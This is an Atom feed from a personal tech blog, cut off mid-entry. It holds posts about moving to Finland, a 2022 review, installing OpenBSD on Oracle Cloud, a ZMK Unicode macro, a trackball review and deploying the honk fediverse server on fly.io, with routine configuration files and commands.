474 lines
462 KiB
XML
474 lines
462 KiB
XML
<?xml version="1.0" encoding="UTF-8"?>
|
||
<feed xmlns="http://www.w3.org/2005/Atom">
|
||
<title>icyphox</title>
|
||
<subtitle></subtitle>
|
||
<id>https://icyphox.sh/</id>
|
||
<updated>2023-03-21T22:11:58+02:00</updated>
|
||
<link href="https://icyphox.sh/"></link>
|
||
<author>
|
||
<name>Anirudh Oppiliappan</name>
|
||
<email>x@icyphox.sh</email>
|
||
</author>
|
||
<entry>
|
||
<title>I am moving to Finland</title>
|
||
<updated>2023-01-18T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2023-01-18:blog/finland</id>
|
||
<link href="https://icyphox.sh/blog/finland"></link>
|
||
<summary type="html"><h2>This is what I was packing for</h2>
<p>The past two weeks or so have felt like a fever dream. It&rsquo;s been a
blurry daze ever since I received my passport from the Finnish Embassy
in New Delhi. I still can&rsquo;t believe everything has finally materialized
and this move is actually happening. In about 10 hours from now, I will
be boarding my flight from Bangalore, transiting via Doha, to Helsinki.</p>

<p>So, how did this come about? I got employed there&mdash;I&rsquo;m joining
<a href="https://upcloud.com" rel="nofollow">UpCloud</a> as an SRE in their Orchestration team,
and will be working out of Helsinki. They helped with the immigration
process and will also be helping out with certain initial local affairs
and apartment hunting.</p>

<p>The biggest, most obvious change for me will be the weather. Going from
around 25°C to near-zero temps will need some acclimatization. I bought
the thickest, heaviest, water &amp; snow-proof parka that Decathlon had to
offer, along with some monstrous snow boots&mdash;I hope it&rsquo;ll suffice for
the first few days.</p>

<p>I&rsquo;m very much looking forward to life there&mdash;low pollution, clean water,
fresh produce (berries!), excellent public transport. Oh and of course,
the <em>slightly</em> less population density. Fun fact: the total population
of the entirety of Finland (5.6 million) is less than half of
Bangalore&rsquo;s (13 something million).</p>

<p>Suffice to say, I&rsquo;m beyond stoked for this new beginning both in
Helsinki and at UpCloud. I&rsquo;ll post an update once I&rsquo;ve settled down. In
the meanwhile, my <a href="https://h.icyphox.sh/@icy" rel="nofollow">fedi</a> will have more
frequent updates.</p>

<p>Moikka!</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>2022 in review</title>
|
||
<updated>2023-01-14T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2023-01-14:blog/2022-in-review</id>
|
||
<link href="https://icyphox.sh/blog/2022-in-review"></link>
|
||
<summary type="html"><h2>Late again because I was busy packing</h2>
<p>Quite possibly the &ldquo;fastest&rdquo; year I&rsquo;ve experienced&mdash;it feels like
yesterday when 2022 began. I think I <em>did</em> a lot last year, contrary to
previous years where I felt I&rsquo;d just squandered my time away. Which is
partly great because more content! But also not great, because I have to
write it. It&rsquo;s not that I don&rsquo;t enjoy writing anymore (despite what the
number of posts in 2022 might lead you to believe), I just find it
harder to sit and do the thing&mdash;perhaps something to think about and
investigate in 2023. But I digress&mdash;as I said, I did get a lot done
last year, so let&rsquo;s get right into it.</p>

<h2 id="projects-hacks">projects &amp; hacks</h2>

<p>I&rsquo;m only talking about software projects here, since this time around,
we&rsquo;ve got some hardware hacks (ooh!).</p>

<p>First on the list is <a href="https://git.icyphox.sh/legit" rel="nofollow">legit</a>, a web
frontend for git. A very important characteristic of legit that <em>needs</em>
mention is the fact that it&rsquo;s written in Go&mdash;it&rsquo;s even the name of the
first major release (<a href="https://git.icyphox.sh/legit/refs" rel="nofollow">v0.2.0</a>).<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>
On a more serious note, it&rsquo;s probably the nicest thing I&rsquo;ve built from
scratch and it&rsquo;s very cool to see legit instances in the wild. I
consider it <em>mostly</em> feature complete, barring a couple of outstanding
PRs that I have yet to get to.</p>

<p>Next up is <a href="https://git.icyphox.sh/honk" rel="nofollow">honk</a>. Not really my <em>own</em>
project, but something I spent a non-negligible amount of time hacking
on. The honk lives in my head, rent-free. A few changes in my honk fork
are:</p>

<ul>
<li>user profile pictures</li>
<li>color scheme and UI</li>
<li>pretty @ URLs (like <a href="https://h.icyphox.sh/@icy" rel="nofollow">https://h.icyphox.sh/@icy</a>)</li>
<li>bunch of other miscellaneous thingamajigs</li>
</ul>

<p>Lastly, I <a href="/blog/openbsd-oci/">installed OpenBSD</a> on my Oracle VM and
now everything runs off it, this site included.</p>

<p>Probably not a &ldquo;project&rdquo;, but I&rsquo;ll include it here anyway: I switched my
entire <a href="https://git.icyphox.sh/dotfiles" rel="nofollow">dotfiles</a> setup to Nix and
home-manager and rest of that shit I used to filter on Lobste.rs. While
I like the declarativeness, I won&rsquo;t pretend I understand the half of it.
Believe me, I&rsquo;ve tried. But it mostly just works the way I have it, so
I&rsquo;ll leave it at that.</p>

<h2 id="keyboards-my-first-new-expensive-hobby">keyboards: my (first) new expensive hobby</h2>

<p>Normal 60% keyboards are out&mdash;ergonomic split ortho keyboards are in.
I built three keyboards this year: the Lotus58, and two semi-custom
34-key wireless splits: the
<a href="https://github.com/icyphox/ferricy" rel="nofollow">Ferricy</a>, and the Ferricy Choc.</p>

<div class="row">
<img src="https://cdn.icyphox.sh/F9YxI.jpeg" style="width: 500px"/>
<img src="https://cdn.icyphox.sh/rgVrx.jpeg" />
<img src="https://cdn.icyphox.sh/LUqg9.jpeg" />
</div>

<p>There&rsquo;s a lot to write about keyboards and how I use mine, but I&rsquo;ll
likely write a separate post covering that since it&rsquo;s fairly
interesting and pretty long-winded. Until then, you can read <a href="https://peppe.rs/posts/programming_on_34_keys/" rel="nofollow">Nerdy&rsquo;s
article</a> on the
subject.</p>

<h2 id="my-time-at-ory">my time at Ory</h2>

<p>Sometimes things don&rsquo;t work out and it&rsquo;s best to cut your losses and
bounce. I came away with only positives and I greatly enjoyed my time at
Ory. I got to work on some rather exciting stuff like:</p>

<ul>
<li>distributed tracing using OTel and Tempo</li>
<li>centralized multi-cluster logging using Loki and Promtail</li>
<li>tackling interesting engineering problems like caching sessions at
edge</li>
<li>a whole bunch more&hellip;</li>
</ul>

<p>No ragrets.</p>

<h2 id="travel">travel</h2>

<p>A decent amount of travel last year: a week in Goa, three days in
Jaipur, two days in Chikmagalur and one day in New Delhi. Here&rsquo;s one
picture from each trip, in order.</p>

<div class="row">
<img src="https://cdn.icyphox.sh/6CuTI.jpeg" />
<img src="https://cdn.icyphox.sh/96xo7.jpeg" />
<img src="https://cdn.icyphox.sh/xc9ty.jpeg" />
<img src="https://cdn.icyphox.sh/jxhk0.jpeg" />
</div>

<h2 id="fitness">fitness</h2>

<p>My fitness journey has seen considerable improvement. I streamlined my
routine for the most part, and I&rsquo;ve stuck to it. My usual week now
consists of 3&ndash;4 upper body workouts, about 2 core workouts and 2 runs,
about 5 or 6km.</p>

<p>My ability to run has also greatly increased. I used to struggle to hit
5ks back in 2021&mdash;I can now comfortably run 8k and still feel pretty
good after. Granted, I&rsquo;m not running for time&mdash;my fastest 5k (the only
time I timed it) is a rather generous 26 minutes.</p>

<p>One major change I made in the latter half of last year was switching to
calisthenics for all my strength training. My ultimate goal is to be
able to do a full planche and front lever unassisted. I can currently
hold a tucked front lever for about 10 seconds&mdash;but hey, progress is
progress.</p>

<p>2022 was the year I got decently shredded. Still not quite Chris Heria,
but we&rsquo;re getting there. I&rsquo;d put myself somewhere around 15% body fat,
on a good day. I didn&rsquo;t <em>strictly</em> regulate my diet, but I was somewhat
conscious about what I was eating. A rough daily calorie estimate is
constantly in the back of my head. For &lsquo;23, I&rsquo;d like to be a little more
meticulous and properly count my calorie intake.</p>

<h2 id="reading">reading</h2>

<p><a href="/reading">Reading</a> was definitely on the forefront of 2022. I made a
conscious effort to spend a set amount of time each day reading&mdash;until
about late November when I simply stopped. I can&rsquo;t remember why I did,
but for me, it&rsquo;s really easy to &ldquo;lose&rdquo; a habit&mdash;week or two of not
reading, and I&rsquo;ll find myself moving on to other things. Another thing
to think about for 2023.</p>

<p>In 2022, I read 15 books (dropped one). I&rsquo;m discounting <em>Assassin&rsquo;s
Apprentice</em> since I have yet to get around to finishing it. Looking
back, I can&rsquo;t pick any single standout read of last year, except maybe
Patrick Rothfuss&rsquo; <em>Kingkiller Chronicle</em>, which I still think about.</p>

<p>I remember mentioning <em>The Wheel of Time</em> series in my <a href="/blog/2021-in-review">2021
retrospective</a>. I managed to read the first two,
but couldn&rsquo;t get into the third. Jordan&rsquo;s writing doesn&rsquo;t make for the
easiest of reading, and&mdash;I speak for myself when I say this&mdash;spacing
it out is probably best. Except I never got back.</p>

<p>This year, I&rsquo;m hoping to read:</p>

<ul>
<li>more of <em>Dune</em></li>
<li><em>The Doors of Stone</em> please dear God</li>
<li>some more <em>Wheel of Time</em>, I think I&rsquo;ve taken a long enough break</li>
<li><em>The Lost Metal</em>, despite not enjoying Era 2 as much</li>
</ul>

<h2 id="this-site">this site</h2>

<p>Reject modernity, embrace tradition&mdash;only the one tradition where we
talk about this site and count the number of blog posts I wrote!</p>

<pre><code>grep 'date: 2022' pages/blog/*.md | wc -l
8
</code></pre>

<p>Lowest yet, and the trend year-over-year doesn&rsquo;t look promising. I don&rsquo;t
think I&rsquo;ll ever <em>completely</em> stop writing, but I certainly won&rsquo;t be
writing as much as I used to. I&rsquo;ve largely stopped writing &ldquo;commentary&rdquo;
since it&rsquo;s pretty pointless and inherently tied to the news cycle&mdash;it loses readability value even just a month later.</p>

<h2 id="miscellaneous">miscellaneous</h2>

<p>The catch-all. The flytrap. The part where everything else too small to
deserve its own subsection get fleeting mentions. Let&rsquo;s run through them
real quick since I&rsquo;m losing patience and the date on this blog post has
been changed four times already.</p>

<p><strong>The bullet journal</strong>: I <a href="/blog/bujo">wrote about this</a> in &lsquo;21. While
the method largely remains the same, the size of my notebook has
decreased to A6, drawing inspiration from one of <a href="https://ratfactor.com/notes" rel="nofollow">my favourite articles
on note taking</a>. The smaller size allows me
to carry it around pretty easily, and the thinness lets me clip my
ball-pen at the current page.</p>

<p><img src="https://cdn.icyphox.sh/WtFWq.jpeg" alt="bujo" /></p>

<p><strong>Watches</strong>: My (second) new expensive hobby. I went down the rabbithole
of <a href="https://en.wikipedia.org/wiki/HMT_Limited" rel="nofollow">HMT</a><sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> watches and
instantly fell in love. I&rsquo;ll admit HMT watches aren&rsquo;t <em>that</em> expensive,
but I&rsquo;ve been looking at some Seikos and Hamiltons that I&rsquo;d like to buy
this year.</p>

<p><img src="https://cdn.icyphox.sh/X17~Q.webp" alt="hmt jhalak" /></p>

<p><strong>Podcasts</strong>: Made some great podcast discoveries last year:</p>

<ul>
<li><a href="https://ourfakehistory.com/" rel="nofollow">Our Fake History</a>: deep dives into
historical hoaxes</li>
<li><a href="https://encyclopediageopolitica.com/how-to-get-on-a-watchlist/" rel="nofollow">How to Get on a
Watchlist</a>:
experts discuss dangerous activities</li>
<li><a href="https://www.offmenupodcast.co.uk/" rel="nofollow">Off Menu</a>: Ed Gamble and James
Acaster run an imaginary restaurant</li>
<li><a href="https://therussianempirehistorypodcast.com/" rel="nofollow">The Russian Empire History
Podcast</a>: what it says on
the tin</li>
</ul>

<h2 id="in-2023">in 2023&hellip;</h2>

<p>There&rsquo;s a lot that happened last year, and there&rsquo;s <em>a whole lot more</em>
that&rsquo;s going to happen this year&mdash;and very soon. I&rsquo;ve been hinting at
it for a while on the <a href="https://h.icyphox.sh/@icy" rel="nofollow">fedi</a>. I&rsquo;ve been
packing a whole lot for it, and it&rsquo;s a mere 4 days away as I write this.
It&rsquo;s a massive life update that I&rsquo;m beyond stoked about&mdash;I&rsquo;ll write
about it here in few days.</p>

<p>Until then, thanks for sticking around and I&rsquo;ll see you in a jiff.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><p>Some folks on the red site
<a href="https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_ybjpfm" rel="nofollow">really</a>
<a href="https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_hgnuco" rel="nofollow">didn&rsquo;t</a>
<a href="https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_t4tl4w" rel="nofollow">like</a> it. :^)</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">Also see <a href="https://old.reddit.com/r/hmtwatches" rel="nofollow">r/hmtwatches</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Installing OpenBSD on Oracle Cloud</title>
|
||
<updated>2022-11-24T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-11-24:blog/openbsd-oci</id>
|
||
<link href="https://icyphox.sh/blog/openbsd-oci"></link>
|
||
<summary type="html"><h2>It finally works in 7.2!</h2>
<p>I&rsquo;ve been trying to get OpenBSD to install on OCI since <a href="https://marc.info/?l=openbsd-misc&amp;m=162962869305286&amp;w=2" rel="nofollow">early last
year</a>. As
described in my email to misc@, my intial method of installation was
rather unconventional:</p>

<ul>
<li>Download the install image to tmpfs</li>
<li>dd it onto the host boot device (/dev/sda)</li>
<li>Reboot</li>
</ul>

<p>This works perfectly for Alpine, I&rsquo;ll have you know but not so much for
OpenBSD. I don&rsquo;t know why. Anyway, with that rather useless preface
aside, <a href="https://openbsd.org/72.html" rel="nofollow">OpenBSD now supports</a> booting on
amd64 OCI instances:</p>

<blockquote>
<p>Allowed bsd.rd and bsd/bsd.mp to boot on Oracle Cloud amd64 instances.</p>
</blockquote>

<p>This time around, I decided to try a somewhat less nuclear approach to
booting it. The steps I followed were from a kind <a href="https://blinken.life/oci-obsd/" rel="nofollow">internet stranger&rsquo;s
article</a>, coincedentally ranting about
how they <em>failed</em> to boot OpenBSD on OCI.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<p>It&rsquo;s fairly straight forward, and you&rsquo;ll be fine simply following the
steps in the article I linked above; but since you&rsquo;re here, let&rsquo;s run
through them real quick:</p>

<ol>
<li><p>Download the <code>install72.img</code> onto an OpenBSD machine. Trust me,
dealing with loopback mounts is not fun on Linux.</p></li>

<li><p>&ldquo;Mount&rdquo; the install image using <a href="https://man.openbsd.org/vnconfig" rel="nofollow">vnconfig(8)</a>:</p>

<pre><code>vnconfig vnd0 install72.img
mount /dev/vnd0a /mnt
</code></pre></li>

<li><p>Configure booting over serial:</p>

<pre><code>echo 'set tty com0' &gt; /mnt/etc/boot.conf
</code></pre></li>

<li><p>Convert the modified <code>install72.img</code> to qcow2 using <code>qemu-img</code>. We
will be uploading this to OCI as a custom image.</p>

<pre><code>qemu-img convert -O qcow2 install72.img install.qcow2
</code></pre></li>

<li><p>Uploading the image requires creating an object storage bucket first.
Navigate to Storage → Buckets and create one. Call it whatever.</p></li>

<li><p>Upload the qcow2 from step 4.</p></li>

<li><p>Head to Compute → Custom Images and click Import Image. Choose your
bucket and qcow2 and select image type as QCOW2. We&rsquo;ll stick to
Paravirtualized mode. Give it a bit.</p></li>

<li><p>Once it&rsquo;s done importing, create a new amd64 instance like you
normally would, and choose your newly created custom image. Don&rsquo;t
bother with SSH keys.</p></li>

<li><p>Launch a console connection to access the serial boot. You should
hopefully see the OpenBSD installer. You might have to hit Enter
once. Hit &lsquo;I&rsquo; and start the install.</p></li>

<li><p>There should only be one disk available. Choose that. Everything
else should just work like in any other OpenBSD install.</p></li>
</ol>

<p>That&rsquo;s about it. I for one am super excited to move all my instances to
OpenBSD. As always, <a href="https://www.openbsd.org/donations.html" rel="nofollow">donate to the OpenBSD
project</a> to ensure the continued
development of our beloved puffy.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">I pinged them on the fedi to let them know it works now: <a href="https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2" rel="nofollow">https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Unicode text input in ZMK</title>
|
||
<updated>2022-10-18T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-10-18:blog/zmk-unicode</id>
|
||
<link href="https://icyphox.sh/blog/zmk-unicode"></link>
|
||
<summary type="html"><h2>A hacky interim solution using macros</h2>
<p>As a highly cultured em-dash (over-)user, being able to type &lsquo;—&rsquo; easily
is very important to me. While waiting for
<a href="https://github.com/zmkfirmware/zmk/issues/232" rel="nofollow">zmkfirmware/zmk#232</a> to
get merged, I&rsquo;ve discovered a rather nifty workaround for inputting
Unicode text. This method makes use of
<a href="https://github.com/ibus/ibus" rel="nofollow">IBus</a> and a ZMK macro.</p>

<p>Unicode input in IBus is done by typing <code>Ctrl</code> + <code>Shift</code> + <code>U</code> followed
by the Unicode codepoint and then a <code>Space</code> or <code>Return</code>. Writing this
as a ZMK macro, we get something like:</p>

<pre><code class="language-dts">macros {
 uc_dash: uc_dash {
 label = &quot;UNICODE_DASH&quot;;
 compatible = &quot;zmk,behavior-macro&quot;;
 #binding-cells = &lt;0&gt;;
 tap-ms = &lt;0&gt;;
 wait-ms = &lt;0&gt;;
 bindings
 = &lt;&amp;macro_press &amp;kp LCTRL &amp;kp LSHFT&gt;
 , &lt;&amp;macro_tap &amp;kp U&gt;
 , &lt;&amp;macro_release &amp;kp LCTRL &amp;kp LSHFT&gt;
 , &lt;&amp;macro_tap &amp;kp N2 &amp;kp N0 &amp;kp N1 &amp;kp N4 &amp;kp SPC&gt;
 ;
 }; 
};
</code></pre>

<p>Where the numbers <code>2014</code> denote the codepoint for an em-dash. Set the
<code>wait-ms</code> and the <code>tap-ms</code> to <code>0</code> to make it instantaneous&mdash;your
keyboard will essentially type out the entire key combo really fast. The
resulting keycode <code>uc_dash</code> can be used in any <code>bindings</code> field. I have
it on a separate Unicode layer.</p>

<p>The unfortunate caveat is it only works where IBus works, and it doesn&rsquo;t
seem to work in Qt applications. Granted, I only really need it in my
browser and Signal/Slack Desktop (Electron) so that isn&rsquo;t a dealbreaker.</p>

<p>My ZMK config is <a href="https://github.com/icyphox/ferricy-zmk" rel="nofollow">here</a>.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The Logitech Ergo M575 trackball</title>
|
||
<updated>2022-07-01T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-07-01:blog/m575</id>
|
||
<link href="https://icyphox.sh/blog/m575"></link>
|
||
<summary type="html"><h2>A short review of my first ever trackball</h2>
<p>Ever since switching to a split keyboard, using a mouse has been rather
awkward. Do I put it in between the two halves? Not enough space. Do I
put it to the right? Again, not enough space since that&rsquo;s where my
notebook sits. And then there was the pain. I had to take routine breaks
from using the mouse due to pain on the bottom-left side of my palm.</p>

<p>Enter, the trackball. Trackballs are pointing devices much like the
slightly more popular rodent. They&rsquo;re super old&mdash;dating right back to
the post-World War II era.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> Largely speaking, there are two kinds of
trackballs: thumbballs and fingerballs. A thumbball, like the name
suggests, is operated using the thumb. A fingerball (also called as
ambidextrous trackballs) has the ball in the center, with buttons on
either side. They behave quite like a laptop&rsquo;s touchpad.</p>

<p>Trackballs take up very little space (check!), and are known to help with
RSI (also check!). So I got one.</p>

<p><img src="https://cdn.icyphox.sh/KPMds.jpg" alt="logitech ergo m575" /></p>

<p>I got the <a href="https://www.logitech.com/en-in/products/mice/m575-ergo-wireless-trackball.910-005873.html" rel="nofollow">Logitech Ergo
M575</a>.
This is the cheapest Bluetooth trackball available in India. I bought it
for around INR 3500 (≈45 USD). It sits comfortably and stably in between
the two halves of my keyboard; it is so much easier on my hand&mdash;it has
greatly alleviated my pain. Pictured below is my actual desk right
now<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>.</p>

<p><img src="https://cdn.icyphox.sh/O97-8.jpg" alt="my messy table" /></p>

<p>The M575 is larger than your typical mouse but that&rsquo;s fine since it
doesn&rsquo;t move. Its curved shape is very satisfying to hold&mdash;it fills
your entire palm. The build quality is pretty solid. It&rsquo;s all plastic,
but that&rsquo;s a good thing. Rubberized finishes are harder to clean and start
getting gooey and icky after a while.</p>

<div class="row">
<img src="https://cdn.icyphox.sh/PeP0g.jpg" style="width:300px" />
<img src="https://cdn.icyphox.sh/gR2La.jpg" style="width:300px" />
<img src="https://cdn.icyphox.sh/Hdw-p.jpg" style="width:300px" />
</div>

<p>There are a total of 5 buttons: the left and right, scroll wheel and the
forward/backward buttons, which sit to the top left. I&rsquo;m not sure I like
their positioning however&mdash;I prefer them by the thumb. I suppose the
ball takes up that space. Speaking of the ball: it&rsquo;s a sparkly
plastic-ish (not sure really) material and it&rsquo;s pretty light. It can
(and needs to be) popped off now and then for cleaning. The ball sits on
three ceramic bearings which are very smooth.</p>

<p>It ships with a single AA battery with an advertised runtime of 24
months. Connectivity is either via Bluetooth or a USB-A dongle found in
the battery compartment.</p>

<p>As for software, <a href="https://github.com/pwr-Solaar/Solaar" rel="nofollow">Solaar</a> is a GUI
(and a CLI) for various Logitech devices, the M575 included. I couldn&rsquo;t
get much use out of it aside from tweaking DPI settings.</p>

<p><img src="https://cdn.icyphox.sh/2d09m.png" alt="solaar screenshot" /></p>

<p>A neat trick, and decidedly more useful, is enabling scrolling using the
trackball. On NixOS<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>, this simply requires adding the following to
<code>services.xserver</code>:</p>

<pre><code class="language-nix">libinput = {
 enable = true;
 mouse = {
 scrollButton = 2;
 scrollMethod = &quot;button&quot;;
 };
};
</code></pre>

<p>With this, I can simply hold down the left and right buttons (equivalent
to pressing the scroll wheel), and scroll with the trackball. Want to
scroll all the way to the bottom? Just flick! It&rsquo;s glorious.</p>

<p>I&rsquo;m a baller now.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://en.wikipedia.org/wiki/Trackball#History" rel="nofollow">https://en.wikipedia.org/wiki/Trackball#History</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">That is indeed another split keyboard in the works. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><p>Refer to <a href="https://wiki.archlinux.org/title/libinput#Scroll_with_mouse_by_holding_a_button" rel="nofollow">this Arch Wiki
entry</a>
for how it&rsquo;s done on other Linuxes.</p> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Honkin' on the Fly</title>
|
||
<updated>2022-05-25T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2022-05-25:blog/honk-fly</id>
|
||
<link href="https://icyphox.sh/blog/honk-fly"></link>
|
||
<summary type="html"><h2>Running honk on fly.io</h2>
<p><strong>Update 2022&ndash;08&ndash;11</strong>: As with literally every update of mine, I&rsquo;m no
longer running honk on Fly. It&rsquo;s way easier to simply run it on a server
myself, behind nginx. Huh&mdash;who knew?</p>

<p>For those unaware&mdash;first of all, how? it&rsquo;s literally everywhere&mdash;<a href="https://fly.io" rel="nofollow">fly.io</a> is the new platform-as-a-service du jour. The
idea is to give them a Dockerfile (or a pre-built image, or just generic
applications in <a href="https://fly.io/docs/getting-started/#language-guides" rel="nofollow">a bunch of
languages</a>), and
they run it for you on servers across the globe. Firecracker microVMs,
WireGuard, and some other neat tech. Understandably, this gets the
average Hacker News-type (me), excited. And I&rsquo;d been meaning to switch
my fediverse instance over to
<a href="https://humungus.tedunangst.com/r/honk" rel="nofollow">honk</a>&mdash;a stateful Go
application using sqlite<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. And the fly.io folks <a href="https://fly.io/blog/all-in-on-sqlite-litestream/" rel="nofollow">really like
sqlite</a>. The stars
have aligned.</p>

<p>I trust that you can figure out the initial setup bits like logging in
to the dashboard and giving them your credit card info and praying that
they don&rsquo;t run you a bill of $5000 because you somehow blew through
their free allowance resources. As I understand it, Fly &ldquo;auto-scales&rdquo;,
so this scenario isn&rsquo;t unlikely&mdash;however, <a href="https://news.ycombinator.com/item?id=31392497" rel="nofollow">they do offer some
leniency</a>. Luckily, the
chances of me turning into a fedi-influencer (<em>fedifluencer</em>?) overnight
are rather slim.</p>

<h2 id="setup">setup</h2>

<p>They want a Dockerfile, so let&rsquo;s give them one.</p>

<pre><code class="language-dockerfile">FROM golang:1.18-alpine AS builder
RUN apk add sqlite-dev build-base mercurial

WORKDIR /tmp/src
RUN hg clone https://humungus.tedunangst.com/r/honk 
RUN cd honk &amp;&amp; make

FROM alpine:latest
RUN apk add sqlite sqlite-dev

COPY local /tmp/local
COPY memes /tmp/memes
COPY emus /tmp/emus

WORKDIR /opt
COPY --from=builder /tmp/src/honk/honk /bin/
COPY --from=builder /tmp/src/honk/views views/
COPY start /bin

ENV HONK_DATA_DIR &quot;/opt/data&quot;
ENV HONK_VIEWS_DIR &quot;/opt/&quot;

CMD [&quot;/bin/start&quot;]
</code></pre>

<p>Not too much going on here&mdash;we pull latest tip, build honk, copy the
<code>local</code> directory containing our <code>local.css</code> (custom styles); the
<code>memes</code> directory containing, well, memes (PNGs and GIFs); and the
<code>emus</code> directory containing emoji (used as <code>:filename:</code>). These will
then be copied into the Fly volume later on by the <code>start</code> script. Kinda
gross, but whatever.</p>

<p>And the <code>start</code> script:</p>

<pre><code class="language-sh">#!/bin/sh

run() {
 cp -R /tmp/memes/* &quot;$HONK_DATA_DIR&quot;/memes/
 cp -R /tmp/memes/* &quot;$HONK_DATA_DIR&quot;/emus/
 cp -R /tmp/local/* &quot;$HONK_DATA_DIR&quot;/views/

 honk -datadir &quot;$HONK_DATA_DIR&quot; -viewdir &quot;$HONK_VIEWS_DIR&quot;
}

# first time setup
if [ ! -f &quot;$HONK_DATA_DIR/honk.db&quot; ]; then
 honk init &lt;&lt;-EOF
 $HONK_USERNAME
 $HONK_PASSWORD
 $HONK_ADDRESS
 $HONK_SERVER_NAME
 EOF
fi

run
</code></pre>

<p>This simply copies our stuff from the container into the volume, and
launches honk. If the honk database doesn&rsquo;t yet exist, we run <code>honk
init</code> and set it up. These environment variables are configured in the
<code>fly.toml</code> file:</p>

<pre><code class="language-toml">app = &quot;honk&quot;

kill_signal = &quot;SIGINT&quot;
kill_timeout = 5
processes = []

[mounts]
 source = &quot;honkstore&quot;
 destination = &quot;/opt/data&quot;

[env]
 HONK_USERNAME = &quot;icy&quot;
 HONK_ADDRESS = &quot;0.0.0.0:8080&quot;
 HONK_SERVER_NAME = &quot;h.icyphox.sh&quot;

[experimental]
 allowed_public_ports = []
 auto_rollback = true

[[services]]
 http_checks = []
 internal_port = 8080
 processes = [&quot;app&quot;]
 protocol = &quot;tcp&quot;
 script_checks = []

 [services.concurrency]
 hard_limit = 50
 soft_limit = 20
 type = &quot;connections&quot;

 [[services.ports]]
 force_https = true
 handlers = [&quot;http&quot;]
 port = 80

 [[services.ports]]
 handlers = [&quot;tls&quot;, &quot;http&quot;]
 port = 443

 [[services.tcp_checks]]
 grace_period = &quot;1s&quot;
 interval = &quot;15s&quot;
 restart_limit = 0
 timeout = &quot;2s&quot;
</code></pre>

<p>The <code>fly.toml</code> gets generated when you first run <code>fly launch</code>. The only
bits I&rsquo;ve added are the <code>env</code> and <code>mounts</code> sections. Notice that
<code>HONK_PASSWORD</code> is missing, and for good reason&mdash;Fly has support for
secrets, which can be created quite handily using:</p>

<pre><code class="language-sh">$ flyctl secrets set HONK_PASSWORD=&quot;$(pw -s honk)&quot;
</code></pre>

<h2 id="deploy">deploy</h2>

<p>The only thing left to do is to provision our volume for persistence,
and we&rsquo;re off to the races:</p>

<pre><code class="language-sh">$ flyctl volumes create honkstore --region maa
 ID: vol_1g67340omkm4ydxw
 Name: honkstore
 App: honk
 Region: maa
 Zone: aed0
 Size GB: 10
 Encrypted: true
Created at: 21 May 22 16:07 UTC

$ flyctl deploy
</code></pre>

<h2 id="post-deploy">post-deploy</h2>

<p>I like having pretty usernames. In this case, I want to drop the <code>h.</code>
subdomain and have it look like this: <code>icy@icyphox.sh</code>. To do this, we
simply set the <code>masqname</code> key in the database to our desired
hostname<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>:</p>

<pre><code class="language-sh">$ honk setconfig 'masqname' 'icyphox.sh'
</code></pre>

<p>And at <code>icyphox.sh</code>, we setup a redirect to <code>h.icyphox.sh</code> at the
<code>/.well-known/webfinger</code> path. I did this <a href="https://github.com/icyphox/site/commit/4bbc8335481a0466d7c23953b0f6057f97607ed1" rel="nofollow">via
Netlify</a>;
you can do it however, as long as the query parameters are preserved.
Read more about webfingers and other thingamabobs
<a href="https://docs.joinmastodon.org/spec/webfinger/" rel="nofollow">here</a>.</p>

<p>I did a bunch more like custom CSS, avatars etc. but I&rsquo;ll leave that as
homework for you
(<a href="https://humungus.tedunangst.com/r/honk/m/honk.8" rel="nofollow">honk(8)</a> is mandatory
reading!).</p>

<h2 id="thoughts">thoughts</h2>

<p><strong>On Fly</strong>: I think it&rsquo;s neat. Rough edges? Sure. My <a href="https://community.fly.io/t/app-stuck-in-pending-in-maa-region/5280" rel="nofollow">deploy was stuck
in
<code>pending</code></a>;
I had to delete it and re-create it for it to start working again. I
lost my data in the process because volumes are attached to apps.
Perhaps I should&rsquo;ve waited and the problem would&rsquo;ve fixed itself. Who
knows?</p>

<p>And that&rsquo;s the eternal problem with PaaS&mdash;there&rsquo;s a layer of
abstraction that you can&rsquo;t ever pierce. You can&rsquo;t truly know what the
problem was unless they publish a post-mortem (or don&rsquo;t). Anyway, in
this case I&rsquo;ll just chalk it up to teething issues.</p>

<p>Is it easier than simply building it on a server and running <code>nohup
